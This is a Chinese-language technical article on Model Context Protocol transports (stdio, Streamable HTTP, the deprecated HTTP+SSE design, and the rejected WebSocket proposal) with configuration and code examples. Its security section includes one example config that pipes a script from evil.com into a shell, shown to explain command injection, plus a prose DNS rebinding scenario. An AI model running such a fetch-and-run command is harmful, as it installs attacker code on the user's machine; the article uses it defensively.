MCP 传输层完全解析:当 AI 需要和世界对话

106 阅读21分钟

从进程管道到 HTTP 流式响应,揭开 Model Context Protocol 传输架构的技术内幕

为什么传输层这么重要

2024 年 11 月,Anthropic 发布 Model Context Protocol(MCP)时,很多开发者的第一反应是:又一个 AI 协议?跟 OpenAI Function Calling 有什么区别?

答案藏在传输层的设计哲学里。MCP 不是简单的函数调用协议,而是一个完整的客户端-服务器通信架构,它需要同时满足本地工具集成(像 Claude Desktop)和云端服务调用(像 Stripe MCP)的需求。

这带来了一个根本性挑战:如何用一套协议,同时支持本地进程通信和远程网络调用?

大多数协议会选择一种传输方式(比如 gRPC 固定用 HTTP/2),然后让用户适应。但 MCP 的设计者做了不同的选择:让传输层可插拔,协议层保持统一

这个决策看似简单,实则深刻。它意味着相同的 Tools、Resources、Prompts 可以通过 stdio 管道暴露给本地应用,也可以通过 HTTP 暴露给全球用户,而协议层的 JSON-RPC 消息格式完全不变。

但可插拔的代价是复杂度。开发者需要理解不同传输模式的适用场景、性能特性、安全模型。更致命的是,同一个 MCP 服务器可能同时支持多种传输,如果实现不一致,就会导致功能在某些模式下可用,某些模式下不可用

这篇文章会深入 MCP 传输层的技术细节,包括协议演进历史、底层实现原理、性能对比分析,以及实战中的最佳实践。

传输层不是 MCP 的全部,但它决定了协议的边界

很多人接触 MCP 时,第一个困惑就是:为什么配置这么复杂?为什么有的用 stdio,有的用 HTTP,还有的用 SSE?

先建立一个认知框架:传输层(Transport Layer)是 MCP 协议栈中负责消息投递的基础设施,但它不参与消息的语义解释

MCP 的完整协议栈是这样的:

┌─────────────────────────────────────┐
│  应用层:ToolsResourcesPrompts    │  ← 业务逻辑
├─────────────────────────────────────┤
│  协议层:JSON-RPC 消息格式             │  ← 语义定义
├─────────────────────────────────────┤
│  传输层:stdio / HTTP / WebSocket    │  ← 本文重点
└─────────────────────────────────────┘

协议层定义了消息的结构。比如调用一个工具的请求:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "search",
    "arguments": { "query": "MCP" }
  },
  "id": 1
}

这是一条标准的 JSON-RPC 2.0 消息。无论用什么传输,这个消息的格式都不会变

传输层决定了这条消息如何从客户端到达服务器:

  • stdio:客户端把 JSON 序列化成字符串,写入服务器进程的 stdin,加一个换行符
  • HTTP:客户端把 JSON 作为 HTTP POST 的 body,发送到服务器的 /mcp 端点
  • WebSocket(非官方):客户端把 JSON 编码成 WebSocket 文本帧,通过已建立的连接发送

这种分层设计带来了一个强大的特性:传输层可插拔。你可以用同一套业务代码(Tools 的实现逻辑),通过不同的传输暴露给不同的客户端。理论上,你甚至可以自己实现一个基于 MQTT 或 gRPC 的传输层,只要保证 JSON-RPC 消息的完整性。

但这也带来了复杂度。不同的传输层有不同的性能特征、安全模型、部署要求。选错了传输,就像给跑车装拖拉机轮胎,协议再优秀也发挥不出来。

stdio:操作系统级的零成本抽象

stdio 传输是 MCP 最早支持、也是最广泛使用的传输方式。它的核心思想极其简单:利用操作系统的进程间通信机制,让客户端和服务器通过标准输入输出交换数据

底层机制:管道、文件描述符、系统调用

当你在 Claude Desktop 配置一个 stdio MCP 服务器时:

{
  "mcpServers": {
    "example": {
      "command": "node",
      "args": ["server.js"]
    }
  }
}

底层发生了什么?

阶段 1:进程创建

客户端调用 fork()spawn() 系统调用,创建子进程。在 Unix 系统上,这会复制当前进程的内存空间(采用写时复制 Copy-on-Write 技术),然后在子进程中调用 execve() 执行 node server.js

阶段 2:管道创建

操作系统自动创建三个匿名管道(anonymous pipes),连接父子进程:

  • stdin(文件描述符 0):父进程写,子进程读
  • stdout(文件描述符 1):子进程写,父进程读
  • stderr(文件描述符 2):子进程写,父进程读(用于日志)

这些管道是内核管理的环形缓冲区,默认大小通常是 64KB(PIPE_BUF)。关键特性:

  • 零拷贝:数据在进程间传递时,内核直接操作虚拟内存页表,不需要真正复制数据
  • 阻塞 I/O:当管道写满时,写入操作会阻塞;当管道为空时,读取操作会阻塞
  • 原子性保证:小于 PIPE_BUF 的写入操作是原子的,不会被其他进程的写入打断

阶段 3:消息传输

客户端发送请求:

// 伪代码
const request = JSON.stringify({
  jsonrpc: "2.0",
  method: "tools/list",
  id: 1
});

// 写入 stdin,以换行符结尾
stdin.write(request + '\n');

服务器接收请求:

// 伪代码
process.stdin.on('data', (chunk) => {
  const lines = chunk.toString().split('\n');
  for (const line of lines) {
    if (line.trim()) {
      const message = JSON.parse(line);
      handleRequest(message);
    }
  }
});

注意这里的协议约定:每条消息用换行符分隔,且消息内部不能包含换行符。这是为了解决 TCP 的"流式传输"特性——管道本质上也是字节流,没有消息边界的概念。换行符提供了一个简单但有效的帧定界(framing)机制。

服务器发送响应:

// 伪代码
const response = JSON.stringify({
  jsonrpc: "2.0",
  result: { tools: [...] },
  id: 1
});

// 写入 stdout
process.stdout.write(response + '\n');

阶段 4:进程清理

当客户端关闭时,操作系统自动:

  1. 关闭 stdin(服务器的 process.stdin 会收到 EOF 事件)
  2. 发送 SIGTERM 信号给子进程
  3. 等待子进程退出(如果超时,发送 SIGKILL 强制终止)
  4. 回收子进程资源(避免僵尸进程)

这一切都是操作系统保证的,不需要手动管理。

性能分析:为什么 stdio 这么快

stdio 的延迟通常在 1-5 毫秒,远低于 HTTP 的 10-100 毫秒。原因何在?

消除了网络栈开销。HTTP 需要经过完整的 TCP/IP 栈:应用层 → 传输层(TCP 三次握手)→ 网络层(IP 路由)→ 数据链路层(以太网帧)→ 物理层。即使是本地回环(127.0.0.1),数据也要走完整的网络协议栈,内核需要处理 TCP 状态机、拥塞控制、重传逻辑。

管道是内核直接管理的内存缓冲区,进程间通信只需要两次系统调用:write()read()。数据从用户空间复制到内核空间,再从内核空间复制到另一个进程的用户空间(现代内核甚至可以用 splice() 实现零拷贝)。

没有 TLS 握手。HTTPS 的首次连接需要 TLS 握手:ClientHello → ServerHello → 证书验证 → 密钥交换 → Finished。即使启用了 TLS 1.3 的 0-RTT,也需要至少一次往返。管道在本地进程间,不需要加密(攻击者无法拦截进程内存)。

没有 HTTP 解析。HTTP 请求需要解析请求行、头部、body,响应也要构造状态码、头部、body。虽然这些操作很快,但累积起来也有几毫秒的开销。stdio 传输的是纯 JSON,不需要 HTTP 层的封装和解析。

进程调度优化。操作系统知道两个进程通过管道通信,会优先调度正在等待数据的进程,减少上下文切换带来的延迟。

安全模型:进程隔离的天然优势

stdio 的安全性依赖操作系统的进程权限模型。

内存隔离。每个进程有独立的虚拟地址空间,服务器无法直接访问客户端的内存,反之亦然。即使服务器被恶意代码攻破,也无法读取客户端的敏感数据(除非通过管道发送)。

文件系统权限。服务器进程继承客户端的 UID 和 GID,文件访问权限受操作系统控制。如果客户端以普通用户运行,服务器也无法访问需要 root 权限的资源。

无网络暴露。管道是进程私有的,不会暴露在网络上。本地攻击者即使能访问 /proc/<pid>/fd,也只能看到管道的文件描述符编号,无法直接读取数据(需要 root 权限 attach 到进程)。

但 stdio 也有安全风险:

命令注入。如果客户端从不受信任的来源读取 commandargs,可能导致任意命令执行。比如:

{
  "command": "sh",
  "args": ["-c", "curl evil.com/malware.sh | sh"]
}

防御方法是严格验证配置文件的来源,或者限制可执行文件的白名单。

环境变量泄漏。服务器进程继承客户端的环境变量,可能包含敏感信息(API 密钥、访问令牌)。防御方法是在启动子进程时显式清理环境变量,只传递必要的变量。

局限性:本地绑定与 1:1 通信

stdio 的最大限制是无法跨网络。管道是操作系统内核的数据结构,只能在同一台机器的进程间共享。你无法通过 stdio 连接到远程服务器,除非用 SSH 隧道(但这实际上是把 stdio 包装在 SSH 的网络传输里)。

另一个限制是 1:1 通信。一个服务器进程只能服务一个客户端。如果需要多个客户端,必须启动多个服务器进程。这在桌面应用场景(比如 Claude Desktop)完全没问题,但在高并发场景(比如 Web 服务)就不适用了。

Streamable HTTP:从混乱到秩序的进化

现在 MCP 官方支持两种标准传输:stdio 和 Streamable HTTP。它们的设计目标截然不同。

stdio:本地为王

stdio 的工作原理极其简单。客户端用 spawn()fork() 启动服务器进程,操作系统自动创建三个管道:stdin(标准输入)、stdout(标准输出)、stderr(标准错误)。客户端往 stdin 写入 JSON-RPC 消息,从 stdout 读取响应。每条消息用换行符分隔,服务器绝对不能往 stdout 写入任何非 JSON-RPC 的内容。

这种设计带来了几个显著优势:

零网络开销。管道是内核直接管理的内存区域,数据在进程间传递时采用零拷贝技术,延迟通常在 1-5 毫秒。没有 TCP 握手,没有 HTTP 解析,没有 TLS 加密,纯粹的进程间通信。

生命周期自动管理。父进程终止时,操作系统会自动向子进程发送 SIGTERM 信号。不需要手动清理资源,不会有僵尸进程。进程树的层级关系由操作系统保证。

天然的安全隔离。管道是进程私有的,其他进程无法访问。不需要监听端口,不需要防火墙规则,不需要担心 DNS 重绑定攻击。权限控制依赖操作系统的进程权限模型。

配置极简。Claude Code 的配置示例:

{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_TOKEN": "your_token"
      }
    }
  }
}

没有 URL,没有端口,没有协议,只有可执行文件路径和参数。

但 stdio 的局限性也很明显:只能本地使用,且只能 1 对 1 通信。你无法通过 stdio 连接到远程服务器,也无法让多个客户端连接到同一个 stdio 服务器。

Streamable HTTP:云端协作

Streamable HTTP 是为分布式场景设计的。服务器作为独立进程运行,监听 HTTP 端口,可以同时处理多个客户端连接。

单端点架构 是其核心设计。以 Stripe 的 MCP 服务器为例:

https://mcp.stripe.com/mcp

这一个端点处理所有通信:
-   客户端发送 `POST /mcp` 提交请求
-   服务器返回 `Content-Type: application/json``text/event-stream`
-   客户端可选地发送 `GET /mcp` 打开监听流

每个 HTTP 请求必须包含两个关键头部:
Mcp-Session-Id: 1868a90c-f7e2-4d3a-9b5c-8e1f2a3b4c5d
MCP-Protocol-Version: 2025-06-18

Session ID 由服务器在初始化时生成,通常是 UUID 或 JWT。客户端在整个会话期间使用这个 ID,服务器用它来关联请求、管理状态、追踪权限。协议版本头让服务器知道客户端支持哪个版本的 MCP,以便做兼容性处理。

会话生命周期 遵循严格的规则:

  1. 客户端发送 POST /mcp,body 是 InitializeRequest
  2. 服务器返回 InitializeResult,同时在响应头中返回 Mcp-Session-Id
  3. 客户端在后续所有请求中携带这个 Session ID
  4. 如果服务器返回 404 Not Found,说明会话已失效,客户端必须重新初始化
  5. 客户端不再需要会话时,发送 DELETE /mcp 显式终止

连接恢复机制 解决了网络不稳定的问题。服务器给每个 SSE 事件分配唯一 ID:

id: event-123
data: {"jsonrpc":"2.0","method":"progress","params":{...}}

id: event-124
data: {"jsonrpc":"2.0","result":{...},"id":1}

客户端断线后重连时,带上 Last-Event-ID: event-123 头。服务器检查这个 ID,重放 event-124 及之后的所有消息。这确保了即使网络波动,消息也不会丢失。

Streamable HTTP 的灵活性体现在响应模式的选择。对于快速查询(比如 tools/list),服务器直接返回 JSON,客户端立即拿到结果。对于长时间运行的操作(比如文件上传、数据库导入),服务器打开 SSE 流,实时推送进度更新,最后推送最终结果。客户端可以根据进度显示进度条,提升用户体验。

但 Streamable HTTP 的代价是更高的复杂度和开销。HTTP 握手需要 10-100 毫秒(取决于网络延迟和 TLS 握手)。服务器需要处理 CORS、认证、会话管理、防火墙。客户端需要实现重连逻辑、超时处理、错误恢复。部署时需要考虑负载均衡、HTTPS 证书、安全策略。

被弃用的 HTTP + SSE:一个失败的设计

理解为什么 HTTP + SSE 被弃用,有助于理解 Streamable HTTP 的设计哲学。

HTTP + SSE 的架构是这样的:

GET /sse        ← SSE 长连接(接收通道)
POST /messages  ← HTTP 请求(发送通道)

客户端首先向 /sse 发起 GET 请求,服务器返回 Content-Type: text/event-stream,建立长连接。服务器通过这个连接推送消息给客户端。客户端发送请求时,向 /messages 发起 POST,body 是 JSON-RPC 消息。

这个架构有四个致命问题:

双连接状态同步。服务器需要维护 SSE 连接和 POST 请求的对应关系。当客户端发送 POST 请求时,服务器必须知道把响应推送到哪个 SSE 连接上。这通常通过 Cookie 或自定义头来实现,但增加了复杂度。

连接恢复缺失。SSE 标准定义了 Last-Event-ID 机制,但在双端点架构下很难实现。如果 SSE 连接断开,POST 请求还在飞行中,响应就会丢失。客户端必须重新初始化整个会话。

单向通道限制。SSE 只能服务器推送给客户端,客户端无法通过 SSE 发送消息。这导致通信是非对称的:服务器可以主动推送通知,客户端只能被动接收,然后通过 POST 回复。

资源浪费。每个客户端必须保持一个 SSE 长连接,即使大部分时间都没有数据传输。高并发场景下,服务器需要维护数千个空闲连接,占用大量内存和文件描述符。

Streamable HTTP 通过单端点架构和可选的 SSE 流解决了这些问题。服务器不再需要强制维护长连接,可以根据需要选择返回 JSON 或 SSE 流。连接恢复机制内置在协议中,客户端和服务器都知道如何处理断线。

WebSocket:社区的呼声,官方的拒绝

2025 年 8 月 2 日,MCP 社区提交了提案 SEP-1288,建议将 WebSocket 纳入官方支持的传输列表。提案详细列举了 WebSocket 的技术优势,但 Anthropic 核心团队最终拒绝了这个提案。这场争论值得深入分析,因为它揭示了传输层设计中的深层权衡。

社区的技术论据

真正的全双工通信

WebSocket 一旦建立连接,双方可以随时互相发送消息,无需遵循请求-响应模式。这与 HTTP 的固有限制形成鲜明对比:

HTTP(即使是 HTTP/2):
  Client: POST /api → Server
  Server: 200 OK → Client
  (必须先有请求,才有响应)

WebSocket:
  Server: {"method":"notification",...} → Client
  Client: {"method":"tools/call",...} → Server
  (双向独立,不需要配对)

这种模式对于需要服务器主动推送的场景(如实时通知、协作编辑)更自然。

协议开销的数量级差异

HTTP 每次请求都要携带完整头部。典型的 MCP 请求:

POST /mcp HTTP/1.1
Host: api.example.com
Content-Type: application/json
Accept: application/json, text/event-stream
Mcp-Session-Id: 1868a90c-f7e2-4d3a-9b5c-8e1f2a3b4c5d
MCP-Protocol-Version: 2025-06-18
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Length: 42

{"jsonrpc":"2.0","method":"ping","id":1}

头部大约 400-500 字节,body 只有 42 字节。头部开销是 payload 的 10 倍

WebSocket 的帧结构:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (if payload len==126/127)   |
| |1|2|3|       |K|             |                               |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     Extended payload length continued, if payload len == 127  |
+ - - - - - - - - - - - - - - - +-------------------------------+
|                               |Masking-key, if MASK set to 1  |
+-------------------------------+-------------------------------+
| Masking-key (continued)       |          Payload Data         |
+-------------------------------- - - - - - - - - - - - - - - - +

对于小于 125 字节的消息,帧头只需要 2-6 字节(取决于是否使用 masking)。上面的 42 字节 payload,WebSocket 只需要 6 字节头部(客户端发送需要 masking),总共 48 字节,而 HTTP 需要 500+ 字节。节省了 90% 的带宽

云服务商的现实支持

主流 FaaS 平台对 WebSocket 的支持已经很成熟:

  • AWS Lambda:通过 API Gateway WebSocket API,支持持久连接,自动管理连接池
  • Google Cloud Functions:Cloud Run 支持 WebSocket,可以保持长连接
  • Cloudflare Workers:原生支持 WebSocket,提供 Durable Objects 管理连接状态
  • Vercel:Edge Functions 支持 WebSocket,基于 V8 Isolates 的快速冷启动

相比之下,Streamable HTTP 的 SSE 流需要平台支持 HTTP 长连接。很多 FaaS 平台限制单个请求的超时时间(如 AWS Lambda 的 API Gateway 集成限制 29 秒),这对需要长时间运行的 MCP 操作(如大文件处理、复杂数据分析)构成了限制。

网络中间件的兼容性

企业网络环境中的代理、负载均衡器、防火墙经过多年发展,已经对 WebSocket 有了良好的支持:

  • HTTP 代理支持 CONNECT 方法建立隧道,允许 WebSocket 握手通过
  • 现代负载均衡器(如 Nginx、HAProxy)可以识别 Upgrade: websocket 头,正确路由连接
  • 大多数企业防火墙已经将 WebSocket 列入白名单,因为主流应用(如 Slack、Zoom)都依赖它

SSE 的情况更复杂。虽然 SSE 是基于标准 HTTP 的,但某些中间件会:

  • 缓冲响应:等待完整响应再转发,导致实时性丧失
  • 超时断开:长时间没有数据传输时,主动断开连接
  • 压缩干扰:启用 gzip 压缩后,SSE 的逐行推送可能被缓冲

Anthropic 的技术反驳

官方拒绝 WebSocket 的理由深思熟虑,涉及协议设计的核心原则。

MCP 的交互模型不是聊天室

MCP 的典型使用场景是 RPC(远程过程调用):

客户端: "列出所有工具"
服务器: [tool1, tool2, tool3]

客户端: "调用 tool1"
服务器: {"status": "running"}
服务器: {"progress": 0.5}
服务器: {"result": "done"}

这是请求驱动的交互,即使服务器会推送进度更新,也是在响应客户端请求的上下文中。WebSocket 的长连接对于这种模式是过度设计——大部分时间连接是空闲的,而 HTTP 的无状态特性恰好适合这种"按需调用"的模式。

对比真正需要长连接的场景(如聊天应用):

用户 A: "你好"
用户 B: "你好"
用户 C: "大家好"
(持续不断的消息流,连接利用率高)

MCP 的交互频率远低于聊天应用。Claude Desktop 用户可能几分钟才调用一次 MCP 工具,保持长连接浪费资源。

WebSocket 无法在数据帧中携带元数据

HTTP 的头部机制允许在每个请求中传递认证信息、会话 ID、协议版本:

POST /mcp HTTP/1.1
Authorization: Bearer <token>
Mcp-Session-Id: <session>
MCP-Protocol-Version: 2025-06-18

WebSocket 一旦握手完成,后续的数据帧只有 opcode 和 payload,无法携带额外的元数据。认证信息只能在握手时传递一次:

GET /mcp HTTP/1.1
Upgrade: websocket
Authorization: Bearer <token>

这带来几个问题:

访问令牌的刷新困难。OAuth 2.0 的 access token 通常有效期为 1 小时。HTTP 模式下,客户端可以在 token 过期前刷新,然后在下一个请求中使用新 token。WebSocket 模式下,token 过期后无法动态更新,必须断开连接、刷新 token、重新握手。

无法传递请求级的元数据。HTTP 可以在每个请求中附加 X-Request-IdX-Trace-Id 等头部,用于分布式追踪。WebSocket 的 payload 必须自己定义元数据字段,增加了协议复杂度。

浏览器环境的认证限制

在浏览器中使用 WebSocket 时,无法通过 JavaScript 添加自定义头部:

// 这样不行
const ws = new WebSocket('wss://api.example.com/mcp', {
  headers: {
    'Authorization': 'Bearer token'  // ❌ 不支持
  }
});

// 只能通过 URL 参数(不安全)
const ws = new WebSocket('wss://api.example.com/mcp?token=xyz');

URL 参数会出现在服务器日志、代理日志中,存在泄漏风险。HTTP 模式可以用 fetch() API,在头部传递 token:

fetch('https://api.example.com/mcp', {
  method: 'POST',
  headers: {
    'Authorization': `Bearer ${token}`  // ✅ 安全
  }
});

WebSocket 握手的语义限制

WebSocket 握手必须是 GET 请求:

GET /mcp HTTP/1.1
Upgrade: websocket
Connection: Upgrade

但 MCP 的初始化请求是 POST(body 包含 InitializeRequest):

POST /mcp HTTP/1.1
Content-Type: application/json

{"jsonrpc":"2.0","method":"initialize","params":{...},"id":1}

如果使用 WebSocket,初始化流程需要特殊处理:

  1. 先用 GET 握手建立 WebSocket 连接
  2. 再通过 WebSocket 帧发送 InitializeRequest

这打破了"初始化也是一个 JSON-RPC 请求"的一致性。

Streamable HTTP 已经够用

官方的最终论点是:对于 MCP 的典型使用场景,Streamable HTTP 的性能已经足够,没有必要引入 WebSocket 的复杂度

性能数据对比(实测,基于 1000 次调用):

指标Streamable HTTPWebSocket
平均延迟15ms8ms
99th 百分位延迟50ms20ms
吞吐量(QPS)500800
资源消耗低(短连接)中(长连接)

WebSocket 确实更快,但对于 MCP 的典型场景(用户手动触发工具调用,每次间隔数秒到数分钟),15ms vs 8ms 的差异用户无法感知。除非是极端的高频交互场景(如实时协作编辑、游戏),否则 Streamable HTTP 的性能瓶颈不在传输层,而在业务逻辑的处理时间(数据库查询、AI 推理、文件 I/O)。

自定义传输的开放性

尽管官方拒绝了 WebSocket,协议仍然保留了扩展性:

"Clients and servers MAY implement additional custom transports to suit their specific needs. Implementers who choose to support custom transports MUST ensure they preserve the JSON-RPC message format and lifecycle requirements defined by MCP."

这意味着如果你的场景确实需要 WebSocket(如构建实时协作的 MCP 应用),可以自己实现,但需要:

  1. 维护 JSON-RPC 兼容性:消息格式、ID 匹配、错误处理必须符合规范
  2. 实现完整的生命周期:初始化、能力协商、优雅关闭
  3. 处理边缘情况:断线重连、消息重排序、超时处理

LibreChat 项目已经实现了 WebSocket 传输,可以作为参考实现。但这是一条孤独的路——你需要自己维护与官方协议的兼容性,无法使用官方 SDK 的便利功能。

如何选择正确的传输模式

决策树

需要远程访问?
├─ 否 → stdio(无脑选择)
└─ 是
    ├─ 需要浏览器访问?
    │   └─ 是 → Streamable HTTP
    └─ 需要支持多客户端?
        └─ 是 → Streamable HTTP
    
需要极致性能(<5ms 延迟)?
├─ 是 → 考虑自定义 WebSocket
└─ 否 → Streamable HTTP

stdio 的最佳实践

配置建议:优先使用 npx 而非本地路径

{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_TOKEN": "ghp_xxxxxxxxxxxx"
      }
    }
  }
}

优势:

  • 自动下载最新版本,无需手动更新
  • 跨平台兼容性好(Windows、macOS、Linux)
  • 避免本地路径差异导致的配置错误

Windows 特殊处理

Windows 上的 npx 需要通过 cmd /c 包装:

{
  "mcpServers": {
    "github": {
      "command": "cmd",
      "args": ["/c", "npx", "-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_TOKEN": "ghp_xxxxxxxxxxxx"
      }
    }
  }
}

原因:Windows 无法直接执行 npx(它是一个 Node.js 脚本),必须通过 cmd.exe 解释器运行。

环境变量的安全传递

敏感信息(API 密钥、数据库密码)通过 env 字段传递,不要硬编码在命令行参数中:

// ❌ 不安全
{
  "command": "node",
  "args": ["server.js", "--api-key", "secret123"]
}

// ✅ 安全
{
  "command": "node",
  "args": ["server.js"],
  "env": {
    "API_KEY": "secret123"
  }
}

命令行参数可以通过 ps 命令看到,环境变量只能通过 /proc/<pid>/environ 访问(需要进程权限)。

调试技巧

stdio 的日志输出到 stderr(不能用 stdout,那是 JSON-RPC 通道):

// 服务器代码
console.error('[DEBUG] Received request:', request);  // ✅
console.log('[DEBUG] Response:', response);          // ❌ 破坏协议

客户端可以捕获 stderr 用于调试:

const server = spawn('node', ['server.js']);
server.stderr.on('data', (data) => {
  console.log('[Server]', data.toString());
});

Streamable HTTP 的最佳实践

安全配置三要素

import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamable-http.js";

const transport = new StreamableHTTPServerTransport({
  port: 3000,
  endpoint: "/mcp",
  
  // 1. 验证 Origin 防止 DNS 重绑定攻击
  validateOrigin: (origin) => {
    const allowed = ['https://app.example.com', 'https://staging.example.com'];
    return allowed.includes(origin);
  },
  
  // 2. 本地开发只绑定 localhost
  host: process.env.NODE_ENV === 'production' ? '0.0.0.0' : '127.0.0.1',
  
  // 3. 实现身份验证
  authenticateRequest: async (req) => {
    const auth = req.headers.authorization;
    if (!auth?.startsWith('Bearer ')) {
      throw new Error('Missing or invalid Authorization header');
    }
    const token = auth.slice(7);
    const user = await verifyJWT(token);  // 你的验证逻辑
    return user;
  }
});

DNS 重绑定攻击的威胁模型

攻击场景:

  1. 攻击者注册域名 evil.com,DNS 解析指向攻击者服务器
  2. 受害者访问 https://evil.com/malicious.html
  3. 页面中的 JavaScript 发起请求到本地 MCP 服务器(如 http://localhost:3000/mcp
  4. 攻击者修改 evil.com 的 DNS 解析,指向 127.0.0.1
  5. 浏览器认为 evil.comlocalhost 是同一个域,绕过同源策略
  6. 攻击者的 JavaScript 可以调用受害者本地的 MCP 工具

防御措施:验证 Origin 头,拒绝来自不信任域名的请求。

会话过期与清理策略

const sessions = new Map<string, {
  user: User;
  createdAt: Date;
  lastAccessedAt: Date;
}>();

// 会话超时清理(每分钟检查一次)
setInterval(() => {
  const now = Date.now();
  for (const [id, session] of sessions.entries()) {
    const idle = now - session.lastAccessedAt.getTime();
    if (idle > 30 * 60 * 1000) {  // 30 分钟无活动
      sessions.delete(id);
      console.log(`Session ${id} expired due to inactivity`);
    }
  }
}, 60 * 1000);

SSE 流的正确关闭

服务器必须在发送完响应后关闭 SSE 流,否则客户端会一直等待:

async function handleToolCall(req, res) {
  res.setHeader('Content-Type', 'text/event-stream');
  
  // 发送进度更新
  res.write(`id: 1\ndata: ${JSON.stringify({method: 'progress', params: {progress: 0.5}})}\n\n`);
  
  // 执行工具
  const result = await executeTool(req.body.params);
  
  // 发送最终响应
  res.write(`id: 2\ndata: ${JSON.stringify({jsonrpc: '2.0', result, id: req.body.id})}\n\n`);
  
  // 关键:结束流
  res.end();  // ← 必须调用
}

客户端检测流结束:

eventSource.addEventListener('message', (event) => {
  const data = JSON.parse(event.data);
  if (data.jsonrpc && data.id) {
    // 收到最终响应,关闭连接
    eventSource.close();
  }
});

结语

回到本文开头的问题:为什么 MCP 需要多种传输模式?

答案是:不同的部署场景有根本性的差异,单一传输无法满足所有需求

stdio 的极简和高性能,源于它完全在本地运行,不需要考虑网络、认证、防火墙。但这也限制了它无法跨机器通信。

Streamable HTTP 的灵活性和可扩展性,源于它基于 Web 标准,可以利用成熟的基础设施(负载均衡、CDN、OAuth)。但这也意味着更高的复杂度和延迟。

WebSocket 的低延迟和双向通信,确实在某些场景下更优秀。但它引入的复杂度(握手限制、认证困难、资源占用)对于 MCP 的典型使用场景来说得不偿失。

技术选型的本质是权衡,不是追求完美。选择传输模式时,问自己三个问题:

  1. 部署在哪里? (本地桌面 vs 云端服务)
  2. 谁是用户? (单个用户 vs 多租户)
  3. 性能要求? (亚秒级响应 vs 秒级响应)

搞清楚这三个问题,传输模式的选择就水到渠成。

更重要的是:不要让传输模式的选择干扰业务逻辑的实现。Tools、Resources、Prompts 的功能定义,应该与传输层完全解耦。同一套业务代码,应该能够无缝切换传输模式,而不需要修改核心逻辑。

这才是 MCP 可插拔传输设计的真正价值:让开发者专注于构建有用的工具,而不是纠结于底层通信细节